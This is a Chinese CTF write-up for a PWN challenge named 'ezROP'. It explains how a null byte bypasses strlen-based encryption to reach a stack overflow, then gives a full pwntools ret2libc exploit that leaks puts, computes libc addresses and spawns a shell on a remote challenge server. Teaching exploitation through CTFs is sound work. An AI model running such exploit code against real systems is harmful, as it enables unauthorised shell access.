ezROP

1000x_ 2026-06-09 12:33:23 9 0 返回题目详情


题目给出一个菜单,分别是加密、解密和退出


当选择1时,程序会进入加密函数

当输入2时,程序会输出“I think u can ....”

当输入3时,程序会退出


分析加密函数,可以看到,程序存在一个栈溢出漏洞,并且会对用户的输入进行一系列加密,但是它使用的是strlen(),该函数会一直检查用户输入,直到遇到"\x00",所以可以在输入的第一个字符输入"\x00"就可以绕过它的加密逻辑,后续利用ret2libc GetShell.


Exploit:

from pwn import *
from LibcSearcher import *
ip = "49.232.142.230"
port = 17738
p = remote(ip, port)
# p = process("./pwn")
elf = ELF("./pwn")
rop = ROP("./pwn")
rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
main = elf.symbols["main"]
plt = elf.plt["puts"]
got = elf.got["puts"]
p.sendlineafter(b"choice!\n", b"1")
payload = b"\0"
payload += b"a"*(0x50 + 0x8 - 0x1)
payload += p64(rdi)
payload += p64(got)
payload += p64(plt)
payload += p64(main)
p.sendlineafter(b"encrypted\n", payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("puts ---> %#x", puts)
libc_base = puts - 0x06f6a0
system = libc_base + 0x0453a0
binsh = libc_base + 0x18ce57
'''libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")'''
payload2 = b"\0"
payload2 += b"a"*(0x50 + 0x8 - 0x1)
payload2 += p64(ret)
payload2 += p64(rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.sendlineafter(b"choice!\n", b"1")
p.sendlineafter(b"encrypted\n", payload2)
p.interactive()


libc: libc6_2.23-0ubuntu11.3_amd64

分类:PWN
image
作者:1000x_

15

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈